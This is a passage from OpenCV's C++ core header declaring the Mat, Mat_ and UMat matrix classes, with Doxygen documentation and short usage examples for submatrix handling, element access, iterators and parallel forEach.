that contains the size of the whole matrix containing *this* as a part. @param ofs Output parameter that contains an offset of *this* inside the whole matrix. */ void locateROI( Size& wholeSize, Point& ofs ) const; /** @brief Adjusts a submatrix size and position within the parent matrix. The method is complimentary to Mat::locateROI . The typical use of these functions is to determine the submatrix position within the parent matrix and then shift the position somehow. Typically, it can be required for filtering operations when pixels outside of the ROI should be taken into account. When all the method parameters are positive, the ROI needs to grow in all directions by the specified amount, for example: @code A.adjustROI(2, 2, 2, 2); @endcode In this example, the matrix size is increased by 4 elements in each direction. The matrix is shifted by 2 elements to the left and 2 elements up, which brings in all the necessary pixels for the filtering with the 5x5 kernel. adjustROI forces the adjusted ROI to be inside of the parent matrix that is boundaries of the adjusted ROI are constrained by boundaries of the parent matrix. For example, if the submatrix A is located in the first row of a parent matrix and you called A.adjustROI(2, 2, 2, 2) then A will not be increased in the upward direction. The function is used internally by the OpenCV filtering functions, like filter2D , morphological operations, and so on. @param dtop Shift of the top submatrix boundary upwards. @param dbottom Shift of the bottom submatrix boundary downwards. @param dleft Shift of the left submatrix boundary to the left. @param dright Shift of the right submatrix boundary to the right. @sa copyMakeBorder */ Mat& adjustROI( int dtop, int dbottom, int dleft, int dright ); /** @brief Extracts a rectangular submatrix. The operators make a new header for the specified sub-array of \*this . They are the most generalized forms of Mat::row, Mat::col, Mat::rowRange, and Mat::colRange . For example, `A(Range(0, 10), Range::all())` is equivalent to `A.rowRange(0, 10)`. Similarly to all of the above, the operators are O(1) operations, that is, no matrix data is copied. @param rowRange Start and end row of the extracted submatrix. The upper boundary is not included. To select all the rows, use Range::all(). @param colRange Start and end column of the extracted submatrix. The upper boundary is not included. To select all the columns, use Range::all(). */ Mat operator()( Range rowRange, Range colRange ) const; /** @overload @param roi Extracted submatrix specified as a rectangle. */ Mat operator()( const Rect& roi ) const; /** @overload @param ranges Array of selected ranges along each array dimension. */ Mat operator()( const Range* ranges ) const; /** @overload @param ranges Array of selected ranges along each array dimension. */ Mat operator()(const std::vector<Range>& ranges) const; template<typename _Tp> operator std::vector<_Tp>() const; template<typename _Tp, int n> operator Vec<_Tp, n>() const; template<typename _Tp, int m, int n> operator Matx<_Tp, m, n>() const; template<typename _Tp, std::size_t _Nm> operator std::array<_Tp, _Nm>() const; /** @brief Reports whether the matrix is continuous or not. The method returns true if the matrix elements are stored continuously without gaps at the end of each row. Otherwise, it returns false. Obviously, 1x1 or 1xN matrices are always continuous. Matrices created with Mat::create are always continuous. But if you extract a part of the matrix using Mat::col, Mat::diag, and so on, or constructed a matrix header for externally allocated data, such matrices may no longer have this property. The continuity flag is stored as a bit in the Mat::flags field and is computed automatically when you construct a matrix header. Thus, the continuity check is a very fast operation, though theoretically it could be done as follows: @code // alternative implementation of Mat::isContinuous() bool myCheckMatContinuity(const Mat& m) { //return (m.flags & Mat::CONTINUOUS_FLAG) != 0; return m.rows == 1 || m.step == m.cols*m.elemSize(); } @endcode The method is used in quite a few of OpenCV functions. The point is that element-wise operations (such as arithmetic and logical operations, math functions, alpha blending, color space transformations, and others) do not depend on the image geometry. Thus, if all the input and output arrays are continuous, the functions can process them as very long single-row vectors. The example below illustrates how an alpha-blending function can be implemented: @code template<typename T> void alphaBlendRGBA(const Mat& src1, const Mat& src2, Mat& dst) { const float alpha_scale = (float)std::numeric_limits<T>::max(), inv_scale = 1.f/alpha_scale; CV_Assert( src1.type() == src2.type() && src1.type() == CV_MAKETYPE(traits::Depth<T>::value, 4) && src1.size() == src2.size()); Size size = src1.size(); dst.create(size, src1.type()); // here is the idiom: check the arrays for continuity and, // if this is the case, // treat the arrays as 1D vectors if( src1.isContinuous() && src2.isContinuous() && dst.isContinuous() ) { size.width *= size.height; size.height = 1; } size.width *= 4; for( int i = 0; i < size.height; i++ ) { // when the arrays are continuous, // the outer loop is executed only once const T* ptr1 = src1.ptr<T>(i); const T* ptr2 = src2.ptr<T>(i); T* dptr = dst.ptr<T>(i); for( int j = 0; j < size.width; j += 4 ) { float alpha = ptr1[j+3]*inv_scale, beta = ptr2[j+3]*inv_scale; dptr[j] = saturate_cast<T>(ptr1[j]*alpha + ptr2[j]*beta); dptr[j+1] = saturate_cast<T>(ptr1[j+1]*alpha + ptr2[j+1]*beta); dptr[j+2] = saturate_cast<T>(ptr1[j+2]*alpha + ptr2[j+2]*beta); dptr[j+3] = saturate_cast<T>((1 - (1-alpha)*(1-beta))*alpha_scale); } } } @endcode This approach, while being very simple, can boost the performance of a simple element-operation by 10-20 percents, especially if the image is rather small and the operation is quite simple. Another OpenCV idiom in this function, a call of Mat::create for the destination array, that allocates the destination array unless it already has the proper size and type. And while the newly allocated arrays are always continuous, you still need to check the destination array because Mat::create does not always allocate a new matrix. */ bool isContinuous() const; //! returns true if the matrix is a submatrix of another matrix bool isSubmatrix() const; /** @brief Returns the matrix element size in bytes. The method returns the matrix element size in bytes. For example, if the matrix type is CV_16SC3 , the method returns 3\*sizeof(short) or 6. */ size_t elemSize() const; /** @brief Returns the size of each matrix element channel in bytes. The method returns the matrix element channel size in bytes, that is, it ignores the number of channels. For example, if the matrix type is CV_16SC3 , the method returns sizeof(short) or 2. */ size_t elemSize1() const; /** @brief Returns the type of a matrix element. The method returns a matrix element type. This is an identifier compatible with the CvMat type system, like CV_16SC3 or 16-bit signed 3-channel array, and so on. */ int type() const; /** @brief Returns the depth of a matrix element. The method returns the identifier of the matrix element depth (the type of each individual channel). For example, for a 16-bit signed element array, the method returns CV_16S . A complete list of matrix types contains the following values: - CV_8U - 8-bit unsigned integers ( 0..255 ) - CV_8S - 8-bit signed integers ( -128..127 ) - CV_16U - 16-bit unsigned integers ( 0..65535 ) - CV_16S - 16-bit signed integers ( -32768..32767 ) - CV_32S - 32-bit signed integers ( -2147483648..2147483647 ) - CV_32F - 32-bit floating-point numbers ( -FLT_MAX..FLT_MAX, INF, NAN ) - CV_64F - 64-bit floating-point numbers ( -DBL_MAX..DBL_MAX, INF, NAN ) */ int depth() const; /** @brief Returns the number of matrix channels. The method returns the number of matrix channels. */ int channels() const; /** @brief Returns a normalized step. The method returns a matrix step divided by Mat::elemSize1() . It can be useful to quickly access an arbitrary matrix element. */ size_t step1(int i=0) const; /** @brief Returns true if the array has no elements. The method returns true if Mat::total() is 0 or if Mat::data is NULL. Because of pop_back() and resize() methods `M.total() == 0` does not imply that `M.data == NULL`. */ bool empty() const; /** @brief Returns the total number of array elements. The method returns the number of array elements (a number of pixels if the array represents an image). */ size_t total() const; /** @brief Returns the total number of array elements. The method returns the number of elements within a certain sub-array slice with startDim <= dim < endDim */ size_t total(int startDim, int endDim=INT_MAX) const; /** * @param elemChannels Number of channels or number of columns the matrix should have. * For a 2-D matrix, when the matrix has only 1 column, then it should have * elemChannels channels; When the matrix has only 1 channel, * then it should have elemChannels columns. * For a 3-D matrix, it should have only one channel. Furthermore, * if the number of planes is not one, then the number of rows * within every plane has to be 1; if the number of rows within * every plane is not 1, then the number of planes has to be 1. * @param depth The depth the matrix should have. Set it to -1 when any depth is fine. * @param requireContinuous Set it to true to require the matrix to be continuous * @return -1 if the requirement is not satisfied. * Otherwise, it returns the number of elements in the matrix. Note * that an element may have multiple channels. * * The following code demonstrates its usage for a 2-d matrix: * @snippet snippets/core_mat_checkVector.cpp example-2d * * The following code demonstrates its usage for a 3-d matrix: * @snippet snippets/core_mat_checkVector.cpp example-3d */ int checkVector(int elemChannels, int depth=-1, bool requireContinuous=true) const; /** @brief Returns a pointer to the specified matrix row. The methods return `uchar*` or typed pointer to the specified matrix row. See the sample in Mat::isContinuous to know how to use these methods. @param i0 A 0-based row index. */ uchar* ptr(int i0=0); /** @overload */ const uchar* ptr(int i0=0) const; /** @overload @param row Index along the dimension 0 @param col Index along the dimension 1 */ uchar* ptr(int row, int col); /** @overload @param row Index along the dimension 0 @param col Index along the dimension 1 */ const uchar* ptr(int row, int col) const; /** @overload */ uchar* ptr(int i0, int i1, int i2); /** @overload */ const uchar* ptr(int i0, int i1, int i2) const; /** @overload */ uchar* ptr(const int* idx); /** @overload */ const uchar* ptr(const int* idx) const; /** @overload */ template<int n> uchar* ptr(const Vec<int, n>& idx); /** @overload */ template<int n> const uchar* ptr(const Vec<int, n>& idx) const; /** @overload */ template<typename _Tp> _Tp* ptr(int i0=0); /** @overload */ template<typename _Tp> const _Tp* ptr(int i0=0) const; /** @overload @param row Index along the dimension 0 @param col Index along the dimension 1 */ template<typename _Tp> _Tp* ptr(int row, int col); /** @overload @param row Index along the dimension 0 @param col Index along the dimension 1 */ template<typename _Tp> const _Tp* ptr(int row, int col) const; /** @overload */ template<typename _Tp> _Tp* ptr(int i0, int i1, int i2); /** @overload */ template<typename _Tp> const _Tp* ptr(int i0, int i1, int i2) const; /** @overload */ template<typename _Tp> _Tp* ptr(const int* idx); /** @overload */ template<typename _Tp> const _Tp* ptr(const int* idx) const; /** @overload */ template<typename _Tp, int n> _Tp* ptr(const Vec<int, n>& idx); /** @overload */ template<typename _Tp, int n> const _Tp* ptr(const Vec<int, n>& idx) const; /** @brief Returns a reference to the specified array element. The template methods return a reference to the specified array element. For the sake of higher performance, the index range checks are only performed in the Debug configuration. Note that the variants with a single index (i) can be used to access elements of single-row or single-column 2-dimensional arrays. That is, if, for example, A is a 1 x N floating-point matrix and B is an M x 1 integer matrix, you can simply write `A.at<float>(k+4)` and `B.at<int>(2*i+1)` instead of `A.at<float>(0,k+4)` and `B.at<int>(2*i+1,0)`, respectively. The example below initializes a Hilbert matrix: @code Mat H(100, 100, CV_64F); for(int i = 0; i < H.rows; i++) for(int j = 0; j < H.cols; j++) H.at<double>(i,j)=1./(i+j+1); @endcode Keep in mind that the size identifier used in the at operator cannot be chosen at random. It depends on the image from which you are trying to retrieve the data. The table below gives a better insight in this: - If matrix is of type `CV_8U` then use `Mat.at<uchar>(y,x)`. - If matrix is of type `CV_8S` then use `Mat.at<schar>(y,x)`. - If matrix is of type `CV_16U` then use `Mat.at<ushort>(y,x)`. - If matrix is of type `CV_16S` then use `Mat.at<short>(y,x)`. - If matrix is of type `CV_32S` then use `Mat.at<int>(y,x)`. - If matrix is of type `CV_32F` then use `Mat.at<float>(y,x)`. - If matrix is of type `CV_64F` then use `Mat.at<double>(y,x)`. @param i0 Index along the dimension 0 */ template<typename _Tp> _Tp& at(int i0=0); /** @overload @param i0 Index along the dimension 0 */ template<typename _Tp> const _Tp& at(int i0=0) const; /** @overload @param row Index along the dimension 0 @param col Index along the dimension 1 */ template<typename _Tp> _Tp& at(int row, int col); /** @overload @param row Index along the dimension 0 @param col Index along the dimension 1 */ template<typename _Tp> const _Tp& at(int row, int col) const; /** @overload @param i0 Index along the dimension 0 @param i1 Index along the dimension 1 @param i2 Index along the dimension 2 */ template<typename _Tp> _Tp& at(int i0, int i1, int i2); /** @overload @param i0 Index along the dimension 0 @param i1 Index along the dimension 1 @param i2 Index along the dimension 2 */ template<typename _Tp> const _Tp& at(int i0, int i1, int i2) const; /** @overload @param idx Array of Mat::dims indices. */ template<typename _Tp> _Tp& at(const int* idx); /** @overload @param idx Array of Mat::dims indices. */ template<typename _Tp> const _Tp& at(const int* idx) const; /** @overload */ template<typename _Tp, int n> _Tp& at(const Vec<int, n>& idx); /** @overload */ template<typename _Tp, int n> const _Tp& at(const Vec<int, n>& idx) const; /** @overload special versions for 2D arrays (especially convenient for referencing image pixels) @param pt Element position specified as Point(j,i) . */ template<typename _Tp> _Tp& at(Point pt); /** @overload special versions for 2D arrays (especially convenient for referencing image pixels) @param pt Element position specified as Point(j,i) . */ template<typename _Tp> const _Tp& at(Point pt) const; /** @brief Returns the matrix iterator and sets it to the first matrix element. The methods return the matrix read-only or read-write iterators. The use of matrix iterators is very similar to the use of bi-directional STL iterators. In the example below, the alpha blending function is rewritten using the matrix iterators: @code template<typename T> void alphaBlendRGBA(const Mat& src1, const Mat& src2, Mat& dst) { typedef Vec<T, 4> VT; const float alpha_scale = (float)std::numeric_limits<T>::max(), inv_scale = 1.f/alpha_scale; CV_Assert( src1.type() == src2.type() && src1.type() == traits::Type<VT>::value && src1.size() == src2.size()); Size size = src1.size(); dst.create(size, src1.type()); MatConstIterator_<VT> it1 = src1.begin<VT>(), it1_end = src1.end<VT>(); MatConstIterator_<VT> it2 = src2.begin<VT>(); MatIterator_<VT> dst_it = dst.begin<VT>(); for( ; it1 != it1_end; ++it1, ++it2, ++dst_it ) { VT pix1 = *it1, pix2 = *it2; float alpha = pix1[3]*inv_scale, beta = pix2[3]*inv_scale; *dst_it = VT(saturate_cast<T>(pix1[0]*alpha + pix2[0]*beta), saturate_cast<T>(pix1[1]*alpha + pix2[1]*beta), saturate_cast<T>(pix1[2]*alpha + pix2[2]*beta), saturate_cast<T>((1 - (1-alpha)*(1-beta))*alpha_scale)); } } @endcode */ template<typename _Tp> MatIterator_<_Tp> begin(); template<typename _Tp> MatConstIterator_<_Tp> begin() const; /** @brief Returns the matrix iterator and sets it to the after-last matrix element. The methods return the matrix read-only or read-write iterators, set to the point following the last matrix element. */ template<typename _Tp> MatIterator_<_Tp> end(); template<typename _Tp> MatConstIterator_<_Tp> end() const; /** @brief Runs the given functor over all matrix elements in parallel. The operation passed as argument has to be a function pointer, a function object or a lambda(C++11). Example 1. All of the operations below put 0xFF the first channel of all matrix elements: @code Mat image(1920, 1080, CV_8UC3); typedef cv::Point3_<uint8_t> Pixel; // first. raw pointer access. for (int r = 0; r < image.rows; ++r) { Pixel* ptr = image.ptr<Pixel>(r, 0); const Pixel* ptr_end = ptr + image.cols; for (; ptr != ptr_end; ++ptr) { ptr->x = 255; } } // Using MatIterator. (Simple but there are a Iterator's overhead) for (Pixel &p : cv::Mat_<Pixel>(image)) { p.x = 255; } // Parallel execution with function object. struct Operator { void operator ()(Pixel &pixel, const int * position) { pixel.x = 255; } }; image.forEach<Pixel>(Operator()); // Parallel execution using C++11 lambda. image.forEach<Pixel>([](Pixel &p, const int * position) -> void { p.x = 255; }); @endcode Example 2. Using the pixel's position: @code // Creating 3D matrix (255 x 255 x 255) typed uint8_t // and initialize all elements by the value which equals elements position. // i.e. pixels (x,y,z) = (1,2,3) is (b,g,r) = (1,2,3). int sizes[] = { 255, 255, 255 }; typedef cv::Point3_<uint8_t> Pixel; Mat_<Pixel> image = Mat::zeros(3, sizes, CV_8UC3); image.forEach<Pixel>([&](Pixel& pixel, const int position[]) -> void { pixel.x = position[0]; pixel.y = position[1]; pixel.z = position[2]; }); @endcode */ template<typename _Tp, typename Functor> void forEach(const Functor& operation); /** @overload */ template<typename _Tp, typename Functor> void forEach(const Functor& operation) const; Mat(Mat&& m); Mat& operator = (Mat&& m); enum { MAGIC_VAL = 0x42FF0000, AUTO_STEP = 0, CONTINUOUS_FLAG = CV_MAT_CONT_FLAG, SUBMATRIX_FLAG = CV_SUBMAT_FLAG }; enum { MAGIC_MASK = 0xFFFF0000, TYPE_MASK = 0x00000FFF, DEPTH_MASK = 7 }; /*! includes several bit-fields: - the magic signature - continuity flag - depth - number of channels */ int flags; //! the matrix dimensionality, >= 2 int dims; //! the number of rows and columns or (-1, -1) when the matrix has more than 2 dimensions int rows, cols; //! pointer to the data uchar* data; //! helper fields used in locateROI and adjustROI const uchar* datastart; const uchar* dataend; const uchar* datalimit; //! custom allocator MatAllocator* allocator; //! and the standard allocator static MatAllocator* getStdAllocator(); static MatAllocator* getDefaultAllocator(); static void setDefaultAllocator(MatAllocator* allocator); //! internal use method: updates the continuity flag void updateContinuityFlag(); //! interaction with UMat UMatData* u; MatSize size; MatStep step; protected: template<typename _Tp, typename Functor> void forEach_impl(const Functor& operation); }; ///////////////////////////////// Mat_<_Tp> //////////////////////////////////// /** @brief Template matrix class derived from Mat @code{.cpp} template<typename _Tp> class Mat_ : public Mat { public: // ... some specific methods // and // no new extra fields }; @endcode The class `Mat_<_Tp>` is a *thin* template wrapper on top of the Mat class. It does not have any extra data fields. Nor this class nor Mat has any virtual methods. Thus, references or pointers to these two classes can be freely but carefully converted one to another. For example: @code{.cpp} // create a 100x100 8-bit matrix Mat M(100,100,CV_8U); // this will be compiled fine. no any data conversion will be done. Mat_<float>& M1 = (Mat_<float>&)M; // the program is likely to crash at the statement below M1(99,99) = 1.f; @endcode While Mat is sufficient in most cases, Mat_ can be more convenient if you use a lot of element access operations and if you know matrix type at the compilation time. Note that `Mat::at(int y,int x)` and `Mat_::operator()(int y,int x)` do absolutely the same and run at the same speed, but the latter is certainly shorter: @code{.cpp} Mat_<double> M(20,20); for(int i = 0; i < M.rows; i++) for(int j = 0; j < M.cols; j++) M(i,j) = 1./(i+j+1); Mat E, V; eigen(M,E,V); cout << E.at<double>(0,0)/E.at<double>(M.rows-1,0); @endcode To use Mat_ for multi-channel images/matrices, pass Vec as a Mat_ parameter: @code{.cpp} // allocate a 320x240 color image and fill it with green (in RGB space) Mat_<Vec3b> img(240, 320, Vec3b(0,255,0)); // now draw a diagonal white line for(int i = 0; i < 100; i++) img(i,i)=Vec3b(255,255,255); // and now scramble the 2nd (red) channel of each pixel for(int i = 0; i < img.rows; i++) for(int j = 0; j < img.cols; j++) img(i,j)[2] ^= (uchar)(i ^ j); @endcode Mat_ is fully compatible with C++11 range-based for loop. For example such loop can be used to safely apply look-up table: @code{.cpp} void applyTable(Mat_<uchar>& I, const uchar* const table) { for(auto& pixel : I) { pixel = table[pixel]; } } @endcode */ template<typename _Tp> class Mat_ : public Mat { public: typedef _Tp value_type; typedef typename DataType<_Tp>::channel_type channel_type; typedef MatIterator_<_Tp> iterator; typedef MatConstIterator_<_Tp> const_iterator; //! default constructor Mat_(); //! equivalent to Mat(_rows, _cols, DataType<_Tp>::type) Mat_(int _rows, int _cols); //! constructor that sets each matrix element to specified value Mat_(int _rows, int _cols, const _Tp& value); //! equivalent to Mat(_size, DataType<_Tp>::type) explicit Mat_(Size _size); //! constructor that sets each matrix element to specified value Mat_(Size _size, const _Tp& value); //! n-dim array constructor Mat_(int _ndims, const int* _sizes); //! n-dim array constructor that sets each matrix element to specified value Mat_(int _ndims, const int* _sizes, const _Tp& value); //! copy/conversion constructor. If m is of different type, it's converted Mat_(const Mat& m); //! copy constructor Mat_(const Mat_& m); //! constructs a matrix on top of user-allocated data. step is in bytes(!!!), regardless of the type Mat_(int _rows, int _cols, _Tp* _data, size_t _step=AUTO_STEP); //! constructs n-dim matrix on top of user-allocated data. steps are in bytes(!!!), regardless of the type Mat_(int _ndims, const int* _sizes, _Tp* _data, const size_t* _steps=0); //! selects a submatrix Mat_(const Mat_& m, const Range& rowRange, const Range& colRange=Range::all()); //! selects a submatrix Mat_(const Mat_& m, const Rect& roi); //! selects a submatrix, n-dim version Mat_(const Mat_& m, const Range* ranges); //! selects a submatrix, n-dim version Mat_(const Mat_& m, const std::vector<Range>& ranges); //! from a matrix expression explicit Mat_(const MatExpr& e); //! makes a matrix out of Vec, std::vector, Point_ or Point3_. The matrix will have a single column explicit Mat_(const std::vector<_Tp>& vec, bool copyData=false); template<int n> explicit Mat_(const Vec<typename DataType<_Tp>::channel_type, n>& vec, bool copyData=true); template<int m, int n> explicit Mat_(const Matx<typename DataType<_Tp>::channel_type, m, n>& mtx, bool copyData=true); explicit Mat_(const Point_<typename DataType<_Tp>::channel_type>& pt, bool copyData=true); explicit Mat_(const Point3_<typename DataType<_Tp>::channel_type>& pt, bool copyData=true); explicit Mat_(const MatCommaInitializer_<_Tp>& commaInitializer); Mat_(std::initializer_list<_Tp> values); explicit Mat_(const std::initializer_list<int> sizes, const std::initializer_list<_Tp> values); template <std::size_t _Nm> explicit Mat_(const std::array<_Tp, _Nm>& arr, bool copyData=false); Mat_& operator = (const Mat& m); Mat_& operator = (const Mat_& m); //! set all the elements to s. Mat_& operator = (const _Tp& s); //! assign a matrix expression Mat_& operator = (const MatExpr& e); //! iterators; they are smart enough to skip gaps in the end of rows iterator begin(); iterator end(); const_iterator begin() const; const_iterator end() const; //! template methods for for operation over all matrix elements. // the operations take care of skipping gaps in the end of rows (if any) template<typename Functor> void forEach(const Functor& operation); template<typename Functor> void forEach(const Functor& operation) const; //! equivalent to Mat::create(_rows, _cols, DataType<_Tp>::type) void create(int _rows, int _cols); //! equivalent to Mat::create(_size, DataType<_Tp>::type) void create(Size _size); //! equivalent to Mat::create(_ndims, _sizes, DatType<_Tp>::type) void create(int _ndims, const int* _sizes); //! equivalent to Mat::release() void release(); //! cross-product Mat_ cross(const Mat_& m) const; //! data type conversion template<typename T2> operator Mat_<T2>() const; //! overridden forms of Mat::row() etc. Mat_ row(int y) const; Mat_ col(int x) const; Mat_ diag(int d=0) const; Mat_ clone() const CV_NODISCARD; //! overridden forms of Mat::elemSize() etc. size_t elemSize() const; size_t elemSize1() const; int type() const; int depth() const; int channels() const; size_t step1(int i=0) const; //! returns step()/sizeof(_Tp) size_t stepT(int i=0) const; //! overridden forms of Mat::zeros() etc. Data type is omitted, of course static MatExpr zeros(int rows, int cols); static MatExpr zeros(Size size); static MatExpr zeros(int _ndims, const int* _sizes); static MatExpr ones(int rows, int cols); static MatExpr ones(Size size); static MatExpr ones(int _ndims, const int* _sizes); static MatExpr eye(int rows, int cols); static MatExpr eye(Size size); //! some more overridden methods Mat_& adjustROI( int dtop, int dbottom, int dleft, int dright ); Mat_ operator()( const Range& rowRange, const Range& colRange ) const; Mat_ operator()( const Rect& roi ) const; Mat_ operator()( const Range* ranges ) const; Mat_ operator()(const std::vector<Range>& ranges) const; //! more convenient forms of row and element access operators _Tp* operator [](int y); const _Tp* operator [](int y) const; //! returns reference to the specified element _Tp& operator ()(const int* idx); //! returns read-only reference to the specified element const _Tp& operator ()(const int* idx) const; //! returns reference to the specified element template<int n> _Tp& operator ()(const Vec<int, n>& idx); //! returns read-only reference to the specified element template<int n> const _Tp& operator ()(const Vec<int, n>& idx) const; //! returns reference to the specified element (1D case) _Tp& operator ()(int idx0); //! returns read-only reference to the specified element (1D case) const _Tp& operator ()(int idx0) const; //! returns reference to the specified element (2D case) _Tp& operator ()(int row, int col); //! returns read-only reference to the specified element (2D case) const _Tp& operator ()(int row, int col) const; //! returns reference to the specified element (3D case) _Tp& operator ()(int idx0, int idx1, int idx2); //! returns read-only reference to the specified element (3D case) const _Tp& operator ()(int idx0, int idx1, int idx2) const; _Tp& operator ()(Point pt); const _Tp& operator ()(Point pt) const; //! conversion to vector. operator std::vector<_Tp>() const; //! conversion to array. template<std::size_t _Nm> operator std::array<_Tp, _Nm>() const; //! conversion to Vec template<int n> operator Vec<typename DataType<_Tp>::channel_type, n>() const; //! conversion to Matx template<int m, int n> operator Matx<typename DataType<_Tp>::channel_type, m, n>() const; Mat_(Mat_&& m); Mat_& operator = (Mat_&& m); Mat_(Mat&& m); Mat_& operator = (Mat&& m); Mat_(MatExpr&& e); }; typedef Mat_<uchar> Mat1b; typedef Mat_<Vec2b> Mat2b; typedef Mat_<Vec3b> Mat3b; typedef Mat_<Vec4b> Mat4b; typedef Mat_<short> Mat1s; typedef Mat_<Vec2s> Mat2s; typedef Mat_<Vec3s> Mat3s; typedef Mat_<Vec4s> Mat4s; typedef Mat_<ushort> Mat1w; typedef Mat_<Vec2w> Mat2w; typedef Mat_<Vec3w> Mat3w; typedef Mat_<Vec4w> Mat4w; typedef Mat_<int> Mat1i; typedef Mat_<Vec2i> Mat2i; typedef Mat_<Vec3i> Mat3i; typedef Mat_<Vec4i> Mat4i; typedef Mat_<float> Mat1f; typedef Mat_<Vec2f> Mat2f; typedef Mat_<Vec3f> Mat3f; typedef Mat_<Vec4f> Mat4f; typedef Mat_<double> Mat1d; typedef Mat_<Vec2d> Mat2d; typedef Mat_<Vec3d> Mat3d; typedef Mat_<Vec4d> Mat4d; /** @todo document */ class CV_EXPORTS UMat { public: //! default constructor UMat(UMatUsageFlags usageFlags = USAGE_DEFAULT); //! constructs 2D matrix of the specified size and type // (_type is CV_8UC1, CV_64FC3, CV_32SC(12) etc.) UMat(int rows, int cols, int type, UMatUsageFlags usageFlags = USAGE_DEFAULT); UMat(Size size, int type, UMatUsageFlags usageFlags = USAGE_DEFAULT); //! constructs 2D matrix and fills it with the specified value _s. UMat(int rows, int cols, int type, const Scalar& s, UMatUsageFlags usageFlags = USAGE_DEFAULT); UMat(Size size, int type, const Scalar& s, UMatUsageFlags usageFlags = USAGE_DEFAULT); //! constructs n-dimensional matrix UMat(int ndims, const int* sizes, int type, UMatUsageFlags usageFlags = USAGE_DEFAULT); UMat(int ndims, const int* sizes, int type, const Scalar& s, UMatUsageFlags usageFlags = USAGE_DEFAULT); //! copy constructor UMat(const UMat& m); //! creates a matrix header for a part of the bigger matrix UMat(const UMat& m, const Range& rowRange, const Range& colRange=Range::all()); UMat(const UMat& m, const Rect& roi); UMat(const UMat& m, const Range* ranges); UMat(const UMat& m, const std::vector<Range>& ranges); //! builds matrix from std::vector with or without copying the data template<typename _Tp> explicit UMat(const std::vector<_Tp>& vec, bool copyData=false); //! builds matrix from cv::Vec; the data is copied by default template<typename _Tp, int n> explicit UMat(const Vec<_Tp, n>& vec, bool copyData=true); //! builds matrix from cv::Matx; the data is copied by default template<typename _Tp, int m, int n> explicit UMat(const Matx<_Tp, m, n>& mtx, bool copyData=true); //! builds matrix from a 2D point template<typename _Tp> explicit UMat(const Point_<_Tp>& pt, bool copyData=true); //! builds matrix from a 3D point template<typename _Tp> explicit UMat(const Point3_<_Tp>& pt, bool copyData=true); //! builds matrix from comma initializer template<typename _Tp> explicit UMat(const MatCommaInitializer_<_Tp>& commaInitializer); //! destructor - calls release() ~UMat(); //! assignment operators UMat& operator = (const UMat& m); Mat getMat(AccessFlag flags) const; //! returns a new matrix header for the specified row UMat row(int y) const; //! returns a new matrix header for the specified column UMat col(int x) const; //! ... for the specified row span UMat rowRange(int startrow, int endrow) const; UMat rowRange(const Range& r) const; //! ... for the specified column span UMat colRange(int startcol, int endcol) const; UMat colRange(const Range& r) const; //! ... for the specified diagonal //! (d=0 - the main diagonal, //! >0 - a diagonal from the upper half, //! <0 - a diagonal from the lower half) UMat diag(int d=0) const; //! constructs a square diagonal matrix which main diagonal is vector "d" static UMat diag(const UMat& d); //! returns deep copy of the matrix, i.e. the data is copied UMat clone() const CV_NODISCARD; //! copies the matrix content to "m". // It calls m.create(this->size(), this->type()). void copyTo( OutputArray m ) const; //! copies those matrix elements to "m" that are marked with non-zero mask elements. void copyTo( OutputArray m, InputArray mask ) const; //! converts matrix to another datatype with optional scaling. See cvConvertScale. void convertTo( OutputArray m, int rtype, double alpha=1, double beta=0 ) const; void assignTo( UMat& m, int type=-1 ) const; //! sets every matrix element to s UMat& operator = (const Scalar& s); //! sets some of the matrix elements to s, according to the mask UMat& setTo(InputArray value, InputArray mask=noArray()); //! creates alternative matrix header for the same data, with different // number of channels and/or different number of rows. see cvReshape. UMat reshape(int cn, int rows=0) const; UMat reshape(int cn, int newndims, const int* newsz) const; //! matrix transposition by means of matrix expressions UMat t() const; //! matrix inversion by means of matrix expressions UMat inv(int method=DECOMP_LU) const; //! per-element matrix multiplication by means of matrix expressions UMat mul(InputArray m, double scale=1) const; //! computes dot-product double dot(InputArray m) const; //! Matlab-style matrix initialization static UMat zeros(int rows, int cols, int type); static UMat zeros(Size size, int type); static UMat zeros(int ndims, const int* sz, int type); static UMat ones(int rows, int cols, int type); static UMat ones(Size size, int type); static UMat ones(int ndims, const int* sz, int type); static UMat eye(int rows, int cols, int type); static UMat eye(Size size, int type); //! allocates new matrix data unless the matrix already has specified size and type. // previous data is unreferenced if needed. void create(int rows, int cols, int type, UMatUsageFlags usageFlags = USAGE_DEFAULT); void create(Size size, int type, UMatUsageFlags usageFlags = USAGE_DEFAULT); void create(int ndims, const int* sizes, int type, UMatUsageFlags usageFlags = USAGE_DEFAULT); void create(const std::vector<int>& sizes, int type, UMatUsageFlags usageFlags = USAGE_DEFAULT); //! increases the reference counter; use with care to avoid memleaks void addref(); //! decreases reference counter; // deallocates the data when reference counter reaches 0. void release(); //! deallocates the matrix data void deallocate(); //! internal use function; properly re-allocates _size, _step arrays void copySize(const UMat& m); //! locates matrix header within a parent matrix. See below void locateROI( Size& wholeSize, Point& ofs ) const; //! moves/resizes the current matrix ROI inside the parent matrix. UMat& adjustROI( int dtop, int dbottom, int dleft, int dright ); //! extracts a rectangular sub-matrix // (this is a generalized form of row, rowRange etc.) UMat operator()( Range rowRange, Range colRange ) const; UMat operator()( const Rect& roi ) const; UMat operator()( const Range* ranges ) const; UMat operator()(const std::vector<Range>& ranges) const; //! returns true iff the matrix data is continuous // (i.e. when there are no gaps between successive rows). // similar to CV_IS_MAT_CONT(cvmat->type) bool isContinuous() const; //! returns true if the matrix is a submatrix of another matrix bool isSubmatrix() const; //! returns element size in bytes, // similar to CV_ELEM_SIZE(cvmat->type) size_t elemSize() const; //! returns the size of element channel in bytes. size_t elemSize1() const; //! returns element type, similar to CV_MAT_TYPE(cvmat->type) int type() const; //! returns element type, similar to CV_MAT_DEPTH(cvmat->type) int depth() const; //! returns element type, similar to CV_MAT_CN(cvmat->type) int channels() const; //! returns step/elemSize1() size_t step1(int i=0) const; //! returns true if matrix data is NULL bool empty() const; //! returns the total number of matrix elements size_t total() const; //! returns N if the matrix is 1-channel (N x ptdim) or ptdim-channel (1 x N) or (N x 1); negative number otherwise int checkVector(int elemChannels, int depth=-1, bool requireContinuous=true) const; UMat(UMat&& m); UMat& operator = (UMat&& m); /*! Returns the OpenCL buffer handle on which UMat operates on. The UMat instance should be kept alive during the use of the handle to prevent the buffer to be returned to the OpenCV buffer pool. */ void* handle(AccessFlag accessFlags) const; void ndoffset(size_t* ofs) const; enum { MAGIC_VAL = 0x42FF0000, AUTO_STEP = 0, CONTINUOUS_FLAG = CV_MAT_CONT_FLAG, SUBMATRIX_FLAG = CV_SUBMAT_FLAG }; enum { MAGIC_MASK = 0xFFFF0000, TYPE_MASK = 